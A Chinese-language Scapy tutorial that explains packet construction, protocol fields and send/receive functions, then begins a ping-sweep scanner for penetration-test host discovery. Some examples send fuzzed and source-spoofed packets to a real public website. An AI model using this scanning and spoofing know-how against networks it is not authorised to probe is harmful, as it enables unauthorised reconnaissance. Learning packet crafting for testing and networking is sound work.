Scapy
简介
scapy是python用来构建数据包的一个模块,可以根据协议构件各种数据包。
依赖库
scapy依赖scapy库需要安装
使用方法
使用文本编写需要导入模块from scapy.all import *,其他操作类似交互模式
scapy可以直接使用交互模式,再终端里直接输入scapy就进入了交互模式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 C:\Users\Administrator>scapy INFO: Can't import PyX. Won' t be able to use psdump() or pdfdump(). WARNING: No libpcap provider available ! pcap won't be used INFO: Can' t import python-cryptography v1.7 +. Disabled WEP decryption/encryption. (Dot11)INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication. WARNING: IPython not available. Using standard Python shell instead. AutoCompletion, History are disabled. WARNING: On Windows, colors are also disabled f:\python-3.7.0\lib\site-packages\pyreadline\py3k_compat.py:8: DeprecationWarning: Using or importing the ABCs from ' collections' instead of from ' collections.abc' is deprecated, and in 3.8 it will stop working return isinstance(x, collections.Callable) aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.3 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Wanna support scapy? Rate it on scccccp///pSP///p p//Y | sectools! sY/////////y caa S//P | http://sectools.org/tool/scapy/ cayCyayP//Ya pY/Ya | -- Satoshi Nakamoto sY/PsY////YCc aC//Yp | sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs >>>
上面是进入信息,里面有警告信息,这些没有什么影响。
lsc()获取帮助信息
更改配置信息
交互模式下有原色设置,conf.color_theme = BrightTheme()还有几种模式设置,DefaultTheme, BrightTheme, RastaTheme, ColorOnBlackTheme, BlackAndWhite, HTMLTheme, LatexTheme
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 >>> conf.color_theme = BrightTheme() >>> IP().show() version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= ip chksum= None src= 192.168 .31 .204 dst= 127.0 .0 .1 \options\
conf有很多配置直接输入conf可以看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 >>> confINFO: Table cropped to fit the terminal (conf.auto_crop_tables==True ) INFO: Table cropped to fit the terminal (conf.auto_crop_tables==True ) ASN1_default_codec = <ASN1Codec BER[1 ]> AS_resolver = <scapy.as_resolvers.AS_resolver_multi object at 0x0000012F09D4 ... BTsocket = <BluetoothRFCommSocket: read/write packets on a connected L2CAP... L2listen = <_NotAvailableSocket: wpcap.dll missing> L2socket = <_NotAvailableSocket: wpcap.dll missing> L3socket = <L3WinSocket: a native Layer 3 (IPv4) raw socket under Windows> L3socket6 = <L3WinSocket6: a native Layer 3 (IPv6) raw socket under Windows> USBsocket = None auto_crop_tables = True auto_fragment = True bufsize = 65536 cache_iflist = {} checkIPID = False checkIPaddr = True checkIPinIP = True checkIPsrc = True check_TCPerror_seqack = False color_theme = <BrightTheme> commands = IPID_count : Identify IP id values classes in a list of packets... contribs = {} crypto_valid = False crypto_valid_advanced = False crypto_valid_recent = False debug_dissector = False debug_match = False debug_tls = False default_l2 = <class 'scapy .packet .Raw '> dot15d4_protocol = None emph = <Emphasize []> except_filter = '' extensions_paths = '.' fancy_prompt = True geoip_city = None histfile = 'C:\\Users\\Administrator\\.scapy_history' iface = <NetworkInterface [Realtek RTL8822BE 802.11 ac PCIe Adapter] {B3... iface6 = <NetworkInterface [Teredo Tunneling Pseudo-Interface] {A0E32CDD... interactive = True interactive_shell = '' ipv6_enabled = True l2types = 0x0 -> Loopback (Loopback) 0x1 <- Dot3 (802.3) 0x1 <-> Ether (E... l3types = 0x3 -> IP (IP) 0x800 <-> IP (IP) 0x806 <-> ARP (ARP) 0x86dd <->... layers = Packet : <member 'name' of 'Packet' objects> NoPayload : <membe... load_layers = ['bluetooth' , 'bluetooth4LE' , 'dhcp' , 'dhcp6' , 'dns' , 'dot11' ,... logLevel = 20 mib = <MIB - 343 elements> min_pkt_size = 60 neighbor = Ether -> LLC Dot3 -> LLC Dot3 -> SNAP Ether -> Dot1Q Ether -> A... netcache = arp_cache: 0 valid items. Timeout=120 s in6_neighbor: 0 valid it... noenum = <Resolve []> padding = 1 padding_layer = <class 'scapy .packet .Padding '> prog = cmd = 'C:\\Windows\\system32\\cmd.exe' cscript = 'C:\\Windows\\... promisc = True prompt = '>>> ' raw_layer = <class 'scapy .packet .Raw '> raw_summary = False recv_poll_rate = 0.05 resolve = <Resolve []> route = Network Netmask Gateway Iface Output IP Metric 0.0 .0 .0 0.0 .0 .0 ... route6 = Destination Next Hop Iface Src candidates Metric ::/0 :: Teredo... session = '' sniff_promisc = 1 stats_classic_protocols = [<class 'scapy.layers.inet.TCP'>, <class 'scapy.la... stats_dot11_protocols = [<class 'scapy.layers.inet.TCP'>, <class 'scapy.laye... stealth = 'not implemented' temp_files = [] teredoPrefix = '2001::' teredoServerPort = 3544 use_bpf = False use_dnet = False use_npcap = False use_pcap = False use_pypy = False verb = 2 version = '2.4.3' warning_threshold = 5 wepkey = ''
这些一般都不用设置
输入explore()可以设置一些信息
通用操作
用ip数据包来举例
一般方法
ls()
查看详细的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 >>> ls(IP())version : BitField (4 bits) = 4 (4 ) ihl : BitField (4 bits) = None (None ) tos : XByteField = 0 (0 ) len : ShortField = None (None ) id : ShortField = 1 (1 ) flags : FlagsField (3 bits) = <Flag 0 ()> (<Flag 0 ()>) frag : BitField (13 bits) = 0 (0 ) ttl : ByteField = 64 (64 ) proto : ByteEnumField = 0 (0 ) chksum : XShortField = None (None ) src : SourceIPField = '192.168.31.204' (None ) dst : DestIPField = '127.0.0.1' (None ) options : PacketListField = [] ([])
建立数据包使用普通的赋值方式
直接输入ip查看已经设置的参数,IP()也可以但是他们不是一个数据包
.show()
上面的数据包没有设置任何参数,使用.show()查看所有的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 >>> IP().show() version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= ip chksum= None src= 192.168 .31 .204 dst= 127.0 .0 .1 \options\
.command()
生成数据包的命令,a是之前已经设置好的数据包
1 2 3 4 >>> a.command()'IP()/TCP()/UDP()' >>> IP()/TCP()/UDP()<IP frag=0 proto=tcp |<TCP |<UDP |>>>
.summary()
显示数据包摘要,谁对谁发数据
1 2 >>> a.summary() "192.168.31.204 > Net('www.baidu.com/30') ip"
设置参数
构建包时赋值
1 2 3 4 5 6 7 >>> ip_1=IP(ttl=128 )>>> ip_1<IP ttl=128 |> >>> ip_2=IP(id=2 ,version=6 ,ttl=128 )>>> ip_2<IP version=6 id=2 ttl=128 |>
构建包后赋值
1 2 3 >>> ip_1.version=6 >>> ip_1<IP version=6 ttl=128 |>
如果数据包里有同样的参数使用下面方法
IP和TCP都有flags参数,取出单个再赋值
1 2 3 4 5 >>>tcp = IP()/TCP() >>>tcp <IP frag=0 proto=tcp dst=Net('www.baidu.com' ) |<TCP flags=SA |>> >>> tcp[1 ]<TCP flags=SA |>
tcp[1]仅代表TCP,对他进行赋值,就算IP有相同的参数也不会搞混
1 2 3 >>> tcp[1 ].flags=2 >>> tcp[1 ].flags<Flag 2 (S)>
查看特定参数
1 2 3 4 >>> ip_1.src'192.168.31.204' >>> ip_1.version6
删除指定参数
1 2 3 >>> del(ip_1.version) >>> ip_1.version 4
可以看到删除后就恢复了默认值
数据包堆叠
网络数据包都是一层一层的堆叠起来的,使用scapy也能构建堆叠数据包
1 2 >>> pakage<IP frag=0 proto=tcp |<TCP |>>
proto=tcp这个已经和之前只有IP的数据包不一样了。而且各种种类的数据包随意堆叠,从简单变复杂。
查看数据包
有很多中查看数据包的方式,除了前面提到的查看简洁的方式还有更复杂的方式,下面从简单到复杂介绍查看方式
直接使用变量名
使用show()
raw()
1 2 >>> raw(a)b'E\x00\x00\x14\x00\x01\x00\x00@\x00\x1bt\xc0\xa8\x1f\xcc\x7f\x00\x00\x01'
查看原始数据,列出16进制格式的2进制信息。
str()
1 2 3 >>> str(IP())WARNING: Calling str(pkt) on Python 3 makes no sense! "b'E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00\\x1bt\\xc0\\xa8\\x1f\\xcc\\x7f\\x00\\x00\\x01'"
列出16进制格式的2进制信息。
hexdump
1 2 3 >>> hexdump(IP())0000 45 00 00 14 00 01 00 00 40 00 1 B 74 C0 A8 1 F CC E.......@..t....0010 7 F 00 00 01
十六进制信息和对应的字符串
隐藏默认字段
设置数据包有很多默认的字段,如果不需要可以直接删除。
1 2 3 >>> a=IP(_)>>> a<IP version=4 ihl=5 tos=0x0 len=20 id=1 flags= frag=0 ttl=64 proto=ip chksum=0x1b74 src=192.168 .31 .204 dst=127.0 .0 .1 |>
a是一个默认的IP数据包,有12个参数,其实有很多都没有用
1 2 3 >>> a.hide_defaults()>>> a<IP ihl=5 len=20 chksum=0x1b74 src=192.168 .31 .204 dst=127.0 .0 .1 |>
隐藏了很多参数。
协议类型
二层协议
Ether
以太网协议,最广泛的局域网技术,实现链路层的数据传输和地址封装
与电话铜缆上的VDSL 相结合,形成EoVDSL技术;与无源光网络 相结合,产生EPON技术;在无线环境中,发展为WLAN技术。
1 2 3 4 5 >>> Ether().show() dst= ff:ff:ff:ff:ff:ff src= 00 :00 :00 :00 :00 :00 type= 0x9000
type
0x0000 - 0x05DC
IEEE 802.3 长度
0x0800
网际协议(IP)
0x0806
地址解析协议(ARP)
0x0808
帧中继 ARP
0x86DD
网际协议v6 (IPv6)
0x880B
点对点协议(PPP)
0x8863
以太网上的 PPP(发现阶段)
0x8864
以太网上的 PPP(PPP 会话阶段)
0x9000
配置测试协议(Loopback)
0x9200 &0x9100
VLAN 标签协议标识符(VLAN Tag Protocol Identifier)
0xFFFF
保留
ARP
Address Resolution Protocol,地址解析协议。主要作用是实现通过IP地址获得对应主机的MAC地址.
1 2 3 4 5 6 7 8 9 10 11 >>> ARP().show() hwtype= 0x1 ptype= IPv4 hwlen= None plen= None op= who-has hwsrc= aa:6 b:ad:83 :23 :37 psrc= 192.168 .31 .204 hwdst= 00 :00 :00 :00 :00 :00 pdst= 0.0 .0 .0
DHCP
动态主机配置协议,由服务器控制一段IP地址范围,客户端自动获得服务器分配的IP地址和子网掩码。
1 2 3 >>> DHCP().show() options= []
使用拓展性小。
三层协议
IP
三层协议数据包都需要用到IP协议,用来指定目标地址和源地址
查看IP的所有参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 >>> IP().show() version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= ip chksum= None src= 192.168 .31 .204 dst= 127.0 .0 .1 \options\
IHL: (Internet Header Length 报头长度)是计算机名词,位于IP报文的第二个字段,4位,表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。
**tos:**1000 – minimize delay #最小延迟
0100 – maximize throughput #最大吞吐量
0010 – maximize reliability #最高可靠性
0001 – minimize monetary cost #最小费用
0000 – normal service #一般服务
ICMP
ICMP协议通常是IP协议的一个组成部分,主要传递差错校验和其他需要主要的信息,ping就是使用了这个协议。
1 2 3 4 5 6 7 >>> ICMP().show() type= echo-request code= 0 chksum= None id= 0x0 seq= 0x0
TCP
查看TCP的全部参数,有三次握手和四次挥手的流程,网络可靠。
1 2 3 4 5 6 7 8 9 10 11 12 13 >>> TCP().show() sport= ftp_data dport= http seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= []
**flags:**有UAPRSF六种标志,分别对应
URG 紧急指针,告诉接收TCP模块紧要指针域指着紧要数据。
ACK 置1时表示确认号。
PSH 置1时请求的数据段在接收方得到后就可直接送到应用程序,而不必等到缓冲区满时才传送。
RST 置1时重建连接。
SYN 置1时用来发起一个连接。
FIN 置1时表示发端完成发送任务。
scapy中的组合
UDP
对目标进行发包,不做可靠验证。
1 2 3 4 5 6 >>> UDP().show() sport= domain dport= domain len= None chksum= None
DNS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 >>> DNS().show() id= 0 qr= 0 opcode= QUERY aa= 0 tc= 0 rd= 1 ra= 0 z= 0 ad= 0 cd= 0 rcode= ok qdcount= 0 ancount= 0 nscount= 0 arcount= 0 qd= None an= None ns= None ar= None
qd:
DNSQR
1 2 3 4 5 >>> DNSQR().show() qname= 'www.example.com' qtype= A qclass= IN
DNSRR
1 2 3 4 5 6 7 8 >>> DNSRR().show() rrname= '.' type= A rclass= IN ttl= 0 rdlen= None rdata= 0.0 .0 .0
TFTP
Trivial File Transfer Protocol,简单文件传输协议基于 UDP
op
RRQ
读请求
WRQ
写请求
DATA
数据
ACK
查看minimumTFTP模块
FTP
SNMP
简单网络管理协议,监视并控制被管理的设备
1 2 3 4 5 6 7 8 9 10 >>> SNMP().show() version= 'v2c' 0x1 <ASN1_INTEGER[1 ]> community= <ASN1_STRING['public' ]> \PDU\ | | id= 0x0 <ASN1_INTEGER[0 ]> | error= 'no_error' 0x0 <ASN1_INTEGER[0 ]> | error_index= 0x0 <ASN1_INTEGER[0 ]> | \varbindlist\
PDU:
SNMPget
获取参数
1 2 3 4 5 6 7 8 9 version= 'v2c' 0x1 <ASN1_INTEGER[1 ]> community= 'shit' \PDU\ | | id= 0x0 <ASN1_INTEGER[0 ]> | error= 'no_error' 0x0 <ASN1_INTEGER[0 ]> | error_index= 0x0 <ASN1_INTEGER[0 ]> | \varbindlist\
SNMPset
设置参数
1 2 3 4 5 6 7 8 9 version= 'v2c' 0x1 <ASN1_INTEGER[1 ]> community= 'shit' \PDU\ | | id= 0x0 <ASN1_INTEGER[0 ]> | error= 'no_error' 0x0 <ASN1_INTEGER[0 ]> | error_index= 0x0 <ASN1_INTEGER[0 ]> | \varbindlist\
变量绑定
这是一个树状的查询列表。绑定对应的值查询对应的结果
1 2 3 4 >>>s=SNMP() >>>s.varbindlist="1.3.6.1.1.5.6.1.3" >>> s.varbindlist'1.3.6.1.1.5.6.1.3'
查看PySNMP模块
NTP
Network Time Protocol,网络时间协议,它可以使计算机对其服务器 或时钟源 (如石英钟,GPS等等)做同步化可介由加密确认的方式来防止恶毒的协议 攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 >>> NTP().show() leap= no warning version= 4 mode= client stratum= 2 poll= 10 precision= 0 delay= 0.0 dispersion= 0.0 id= 127.0 .0 .1 ref= 0.0 orig= -- recv= 0.0 sent= --
参考NTPlib模块
Syslog
系统日志,syslog通常被用于信息系统管理及信息安全审核。虽然它有不少缺陷
参照logging,不列于网络通讯范畴
SSH
参照paramiko
Telent
Pop3
HTTP
简单的请求-响应协议基于TCP,HTTP是万维网(WWW)的支撑协议
请求头
1 2 3 Referer: #来源url,从这个url连接来的 User-Agent: #浏览器标识 cookie: #cookie信息
响应头
get
客户端传递的参数在url中,例如?name=Blosslom&age=20
post
客户端传递参数在请求数据中
参照http模块
SMTP
电子邮件传输的协议,建立在FTP文件传输服务上
发送数据包
send()
发送三层数据包
一个点代表发送一次,使用ctrl+C停止
1 2 3 >>> send(a).................... Sent 20 packets.
发送了上面生产的20个数据包send(a)和send(b)一样,因为b是a生成的
loop=1循环发送
1 2 >>> send(a,loop=1 )...............................^C
一个点代表发送一次,使用ctrl+C停止
sendp()
发送两层的数据包,两层数据包都需要会用Ether协议
下列的参数都是通用的
iface=“网卡”
loop=“1” 循环
inter=0.2 指定两个数据包之间的等待时间间隔
timeout=1 超时时间设置
retry=3 重试次数,使用未 应答列表或指定重试参数来重新发送所有未应答数据包
verbos=True 显示发包信息
sr1()
仅发送接收一个三层数据包
srp1()
仅发送接收一个二层数据包
sr()
发送接收多个三层数据包
用于发送三层数据包和接收回复
1 2 3 4 5 6 7 >>> a=IP(dst="www.baidu.com" )/ICMP()/"you are just a pice" >>> sr1(a)Begin emission: Finished sending 1 packets. * Received 1 packets, got 1 answers, remaining 0 packets <IP version=4 ihl=5 tos=0x4 len=47 id=1 flags= frag=0 ttl=54 proto=icmp chksum=0x4be src=183.232 .231 .174 dst=192.168 .31 .204 |<ICMP type=echo-reply code=0 chksum=0x5dbe id=0x0 seq=0x0 |<Raw load='you are just a pice' |>>>
Received 1 packets, got 1 answers, remaining 0 packets表示发送一个包接收一个包,剩余没收到的零个包
对比两组数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 >>> a.show() version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= icmp chksum= None src= 192.168 .31 .204 dst= Net('www.baidu.com' ) \options\ type= echo-request code= 0 chksum= None id= 0x0 seq= 0x0 load= 'you are just a pice' >>> b.show() version= 4 ihl= 5 tos= 0x4 len= 47 id= 1 flags= frag= 0 ttl= 54 proto= icmp chksum= 0x4be src= 183.232 .231 .174 dst= 192.168 .31 .204 \options\ type= echo-reply code= 0 chksum= 0x5dbe id= 0x0 seq= 0x0 load= 'you are just a pice'
发现src和dst位置是调换的
srp()
发送接收多个两层数据包
fuzz()
构建模糊模板,随机设置指定协议数据包
1 2 3 4 5 6 >>> a=IP(dst="www.baidu.com" )/fuzz(TCP())>>> a<IP frag=0 proto=tcp dst=Net('www.baidu.com' ) |<TCP |>> >>> send(a). Sent 1 packets.
详细的参数设置如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 >>> a.show() version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= tcp chksum= None src= 192.168 .31 .204 dst= Net('www.baidu.com' ) \options\ sport= <RandShort> dport= <RandShort> seq= <RandInt> ack= <RandInt> dataofs= None reserved= <RandNum> flags= FRPAE window= <RandShort> chksum= None urgptr= <RandShort> options= <RandTCPOptions>
很多参数使用了rand随机
构建数据包
准备工作
在windows下要想达到完整的收发数据包必须要安装winpcap或者Npcap,推荐使用Npcap
使用python编写程序的时候如果报错,则可能需要修改源文件。直接将错误部分注释。
数据包集合
1 2 3 4 5 6 7 8 >>> a=IP()>>> a.dst="www.baidu.com/30" >>> b=[i for i in a]>>> b[<IP dst=183.232 .231 .172 |>, <IP dst=183.232 .231 .173 |>, <IP dst=183.232 .231 .174 |>, <IP dst=183.232 .231 .175 |>]
对a的dst参数设置一个域名,域名后面有个/30表示后缀指定生成的范围,使用生成列表生成赋值给b
**后缀解释:**后缀最大值是从32开始的,表示生成一个关联的地址,如果超过32则还是按照32的生成
1 2 3 4 >>> a.dst="www.baidu.com/32" >>> b=[i for i in a]>>> b[<IP dst=183.232 .231 .172 |>]
如果换成31则在32数量基础上进行乘2
1 2 3 4 5 >>> a.dst="www.baidu.com/31" >>> b=[i for i in a]>>> b[<IP dst=183.232 .231 .174 |>, <IP dst=183.232 .231 .175 |>]
30则在31数量基础上进行乘2
以此类推所以一共可以生产的相关IP有2的32次方4294967296个IP接近256的4次方这和IP规范有关。这样可以生产全球所有的IP地址。
多参数生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 >>> a.ttl=[2 ,3 ,(3 ,5 )]>>> a<IP ttl=[2 , 3 , (3 , 5 )] dst=Net('www.baidu.com/30' ) |> >>> b=[i for i in a]>>> b[<IP ttl=2 dst=183.232 .231 .172 |>, <IP ttl=2 dst=183.232 .231 .173 |>, <IP ttl=2 dst=183.232 .231 .174 |>, <IP ttl=2 dst=183.232 .231 .175 |>, <IP ttl=3 dst=183.232 .231 .172 |>, <IP ttl=3 dst=183.232 .231 .173 |>, <IP ttl=3 dst=183.232 .231 .174 |>, <IP ttl=3 dst=183.232 .231 .175 |>, <IP ttl=3 dst=183.232 .231 .172 |>, <IP ttl=3 dst=183.232 .231 .173 |>, <IP ttl=3 dst=183.232 .231 .174 |>, <IP ttl=3 dst=183.232 .231 .175 |>, <IP ttl=4 dst=183.232 .231 .172 |>, <IP ttl=4 dst=183.232 .231 .173 |>, <IP ttl=4 dst=183.232 .231 .174 |>, <IP ttl=4 dst=183.232 .231 .175 |>, <IP ttl=5 dst=183.232 .231 .172 |>, <IP ttl=5 dst=183.232 .231 .173 |>, <IP ttl=5 dst=183.232 .231 .174 |>, <IP ttl=5 dst=183.232 .231 .175 |>]
ttl=[2, 3, (3, 5)]的意思是将ttl值设置成2和3,(3,5)是3到5的意思
其他参数都是如此,会自动进行组合,生产全部情况数据包
ipaddress
这是一个模块产生IP列表,原理和上面的一样。
1 2 3 4 import ipaddressip = ipaddress.ip_network('192.168.0.0/24' ) for i in ip: print(i)
产生256个ip地址
随机
随机IP
RandIP()
随机端口
RandShort()
二层数据包
注意二层数据包只能使用srp(),srp1(),sendp()发送方法
Ether()/ARP()
arp包,可以构件arp广播包等其他类型的数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pkt=Ether(dst="FF:FF:FF:FF:FF:FF" )/ARP(op=1 ,hwdst="00:00:00:00:00:00" ,pdst="192.168.8.1" ) >>> pkt.show() dst= FF:FF:FF:FF:FF:FF src= a8:6 b:ad:83 :23 :37 type= ARP hwtype= 0x1 ptype= IPv4 hwlen= None plen= None op= who-has hwsrc= a8:6 b:ad:83 :23 :37 psrc= 192.168 .8 .192 hwdst= 00 :00 :00 :00 :00 :00 pdst= 192.168 .8 .1
**Ethernet:**将目标MAC地址设置成广播地址,源地址默认是本地地址。
**ARP:**op=1表示who-has。hwdst对应目标MAC不知道设置成00:00… ,pdst对应IP
1 2 3 >>> srp(pkt,verbose=0 )(<Results: TCP:0 UDP:0 ICMP:0 Other:1 >, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0 >)
发送数据包,verbose=0表示不显示正在发送的信息。可以看到返回的式两个对象,第一个对象是返回的结果,第二个是未响应的数据。使用字典接收看看对象的类型
1 2 3 >>> r = srp(pkt,verbose=0 )>>> print(type(r))<class 'scapy .plist .SndRcvList '>
一个scapy的对象,有对象就应该有对应的方法
res方法
如果直接使用r.show()会报错,使用r[0].show()返回的信息是summary()方法的摘要信息。
1 2 3 >>> r[0 ].res[(<Ether dst=FF:FF:FF:FF:FF:FF type=ARP |<ARP op=who-has hwdst=00 :00 :00 :00 :00 :00 pdst=192.168 .8 .1 |>>, <Ether dst=a8:6 b:ad:83 :23 :37 src=78 :a3:51 :a1:fd:00 type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is -at hwsrc=78 :a3:51 :a1:fd:00 psrc=192.168 .8 .1 hwdst=a8:6 b:ad:83 :23 :37 pdst=192.168 .8 .192 |>>)]
取出了两个详细的信息,是一个列表,去掉列表需要r[0].res[0],使用r[0][0]也是同样的效果,这样就只返回 了一个元组,第一个对象是我们发出去的包,第二个是返回的数据包。
获得ARP数据层的内容
1 2 >>> r[0 ].res[0 ][1 ].getlayer(ARP)<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is -at hwsrc=78 :a3:51 :a1:fd:00 psrc=192.168 .8 .1 hwdst=a8:6 b:ad:83 :23 :37 pdst=192.168 .8 .192 |>
返回信息已经过滤了Ether,如果要取出一个值就需要把他转化为列表,然后使用列表key取出
getlayer()
1 2 3 4 5 6 7 8 9 10 11 12 >>> r[0 ].res[0 ][1 ].getlayer(ARP).fields{'hwtype' : 1 , 'ptype' : 2048 , 'hwlen' : 6 , 'plen' : 4 , 'op' : 2 , 'hwsrc' : '78:a3:51:a1:fd:00' , 'psrc' : '192.168.8.1' , 'hwdst' : 'a8:6b:ad:83:23:37' , 'pdst' : '192.168.8.192' } >>> r[0 ].res[0 ][1 ].getlayer(ARP).fields["hwsrc" ]'78:a3:51:a1:fd:00'
这个包里hwsrc就变成对方的MAC了,其他参数也是同理。
haslayer()
同getlayer一样,不过他是判断是否有某种数据包
三层数据包
IP/ICMP数据包
通常ping就是使用这种数据包
1 2 3 4 5 6 >>> ping = IP()/ICMP()/b"are you baidu" >>> ping.dst="www.baidu.com" >>> response = sr1(ping)Begin emission: Finished sending 1 packets. Received 5 packets, got 1 answers, remaining 0 packets
发送了5个包,收到了一个包
1 2 >>> response<IP version=4 ihl=5 tos=0x4 len=41 id=1 flags= frag=0 ttl=54 proto=icmp chksum=0x4c6 src=183.232 .231 .172 dst=192.168 .31 .204 |<ICMP type=echo-reply code=0 chksum=0xa17 id=0x0 seq=0x0 |<Raw load='are you baidu' |>>>
返回的信息也是传递的字符串。不过IP源地址是百度的。
1 2 >>> response.getlayer(ICMP)<ICMP type=echo-reply code=0 chksum=0xa17 id=0x0 seq=0x0 |<Raw load='are you baidu' |>>
提取ICMP包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 >>> response.getlayer(ICMP).fields{'type' : 0 , 'code' : 0 , 'chksum' : 2583 , 'id' : 0 , 'seq' : 0 , 'ts_ori' : None , 'ts_rx' : None , 'ts_tx' : None , 'gw' : None , 'ptr' : None , 'reserved' : None , 'length' : None , 'addr_mask' : None , 'nexthopmtu' : None , 'unused' : None }
转化为字典
DNS数据包
因为DNS查询时UDP连接方式,使用TCP则无法查询
IP/UDP/DNS类型数据包
构造数据包
1 >>> dns=IP()/UDP()/DNS()
设置目标地址
设置需要查询的目标
1 2 3 >>> dns.qd=DNSQR(qname="qq.com" )>>> dns<IP frag=0 proto=udp dst=8.8 .8 .8 |<UDP sport=domain |<DNS qd=<DNSQR qname='qq.com' |> |>>>
发送数据包
1 2 3 4 5 6 sr1(dns) Begin emission: Finished sending 1 packets. * Received 1 packets, got 1 answers, remaining 0 packets <IP version=4 ihl=5 tos=0x4 len=100 id=1 flags= frag=0 ttl=52 proto=udp chksum=0xad0c src=8.8 .8 .8 dst=192.168 .8 .192 |<UDP sport=domain dport=domain len=80 chksum=0x92f3 |<DNS id=0 qr=1 opcode=QUERY aa=0 tc=0 rd=1 ra=1 z=0 ad=0 cd=0 rcode=ok qdcount=1 ancount=3 nscount=0 arcount=0 qd=<DNSQR qname='qq.com.' qtype=A qclass=IN |> an=<DNSRR rrname='qq.com.' type=A rclass=IN ttl=538 rdlen=None rdata=125.39 .52 .26 |<DNSRR rrname='qq.com.' type=A rclass=IN ttl=538 rdlen=None rdata=58.250 .137 .36 |<DNSRR rrname='qq.com.' type=A rclass=IN ttl=538 rdlen=None rdata=58.247 .214 .47 |>>> ns=None ar=None |>>>
查询到的结果显示了出来
IP/TCP数据包
构造数据包的同时进行赋值
1 pkt=IP(dst="www.baidu.com" ,src="192.168.248.144" )/TCP()
发包
1 2 3 4 5 r=sr1(pkt) Begin emission: Finished sending 1 packets. ....................................................................* Received 69 packets, got 1 answers, remaining 0 packets
查看回包的摘要信息
1 2 >>> r.summary() 'IP / TCP 183.232.231.174:http > 192.168.248.144:ftp_data SA / Padding'
我们发送的数据保重flags=‘S’,收到的回包是SA,百度已经正确回应。
完整的回包是
1 2 >>> r <IP version=4 ihl=5 tos=0x0 len=44 id=65334 flags= frag=0 ttl=128 proto=tcp chksum=0xe2c4 src=183.232 .231 .174 dst=192.168 .248 .144 |<TCP sport=http dport=ftp_data seq=48195089 ack=1 dataofs=6 reserved=0 flags=SA window=64240 chksum=0xdaff urgptr=0 options=[('MSS' , 1460 )] |<Padding load='\x00\x00' |>>>
ping程序扫描存活主机
使用scapy作为引擎编写一个ping扫描工具,ping扫描主要是探测网络上的一些存活主机。在渗透测试中第一步往往都是信息收集,而信息收集的第一步是确认主机是否存活。通常很多小黑们都是使用系统自带的扫描工具,下面我们亲手制造一个扫描工具,了解其中的扫描原理。
程序编写需要使用python的scapy,logging,random,threading,ipaddress,sys,time模块
导入模块
1 2 3 4 5 6 7 from scapy.all import *import ipaddressimport loggingimport randomimport threadingimport sysimport time
编写程序首先需要有一个思路,使用scapy的ping扫描的核心就是,给对方发送一个IP/ICMP数据包,如果对方回应就可以 判断存活。下面分步骤来编写扫描器。
清除模块导入时的提示信息
scapy模块导入时会出现依赖未安装的提示,其实这些依赖都无关紧要,都是一些图像或者和IPv6有关的信息。
1 logging.getLogger("scapy.runtime" ).setLevel(logging.ERROR)
日志清除报错信息
IP段生成
扫描主机基本上都是扫描一个IP段,手动输入特别麻烦,一般都是IP后面跟上/24之类的掩码。比如192.168.0.0/24代表192.168.0.0-255,使用ipaddress生产 非常方便
1 2 3 all_ip = ipaddress.ip_network('192.168.0.0/24' ) for ip in all_ip: print(ip)
注意这里的所有IP都是ipaddress.IPv4Address对象,使用的时候转成str类型
填写报文信息
查看IP报文信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 >>> IP().show() version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= ip chksum= None src= 192.168 .31 .204 dst= 127.0 .0 .1 \options\
上面的报文有些是必填的信息
id值需要更改这样会表现的数据包更随机
ttl值随意可以改成Linux系统的ttl值
src源地址千万不要动,如果更改了会造成返回的数据包发给别人的计算机,无法判断目标是否存活
dst目标IP地址设置成需要探测的地址
查看ICMP报文信息
1 2 3 4 5 6 7 >>> ICMP().show() type= echo-request code= 0 chksum= None id= 0x0 seq= 0x0
1 2 3 ip_id = random.randint(0 ,65535 ) icmp_id = random.randint(0 ,65535 ) seq = random.randint(0 ,65535 )
使用随机函数生三个随机数,都是0到65535,为什是65535,因为他们都是16位。
将ip和上面的随机数填入报文构造一个数据包
